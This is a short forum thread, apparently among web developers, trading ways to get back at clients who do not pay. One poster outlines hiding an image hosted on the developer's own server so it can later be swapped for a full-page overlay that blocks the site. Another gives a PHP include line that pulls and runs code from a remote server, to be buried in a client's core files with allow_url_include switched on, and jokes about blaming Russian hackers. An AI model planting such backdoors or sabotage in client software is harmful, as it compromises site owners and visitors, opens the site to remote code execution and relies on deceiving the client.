One way to get back at shitty clients:

thehobbster

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I copy and pasted this from the front page of Reddit, where most of you already saw it. Please tell me all about it below in the following posts.
 


This reminded me, I saw a 10 line ASCII drawing in HTML yesterday too... total IRC flash back.

However, I like this a lot more :)
 
Hmm...

1. Put image on homepage/footer in the code, hide that shit. Make it auto scale in size.

2. Upload 1x1 pixel dot on another server. Domain like: brandnamex.com or something.

3. They don't pay, and you get booted from the server/login/etc...

4. Change image on your server to 2000x2000 pixel wallpaper photo of whatever you want.

5. Image will be overlayed so nobody can click on anything either.
 
just stick
Code:
<?@include('http://yoursnideyserver.com/somecode.phps')?>
somewhere in one of the core php files

if found, it must have been a russian hax0r.

edit: dont forget to turn on allow_url_include in php.ini
 
In a nutshell

You can use a special HTML <META> tag to tell robots not to index the content of a page, and/or not scan it for links to follow

Fiver was ironic. We talk here about ways to switch something on when a client fucks you over and turns you off, and this mito tag doesn't belong here.

:arcadefreak:


EDITED: Okay, sorry, the original post was like this so this belongs.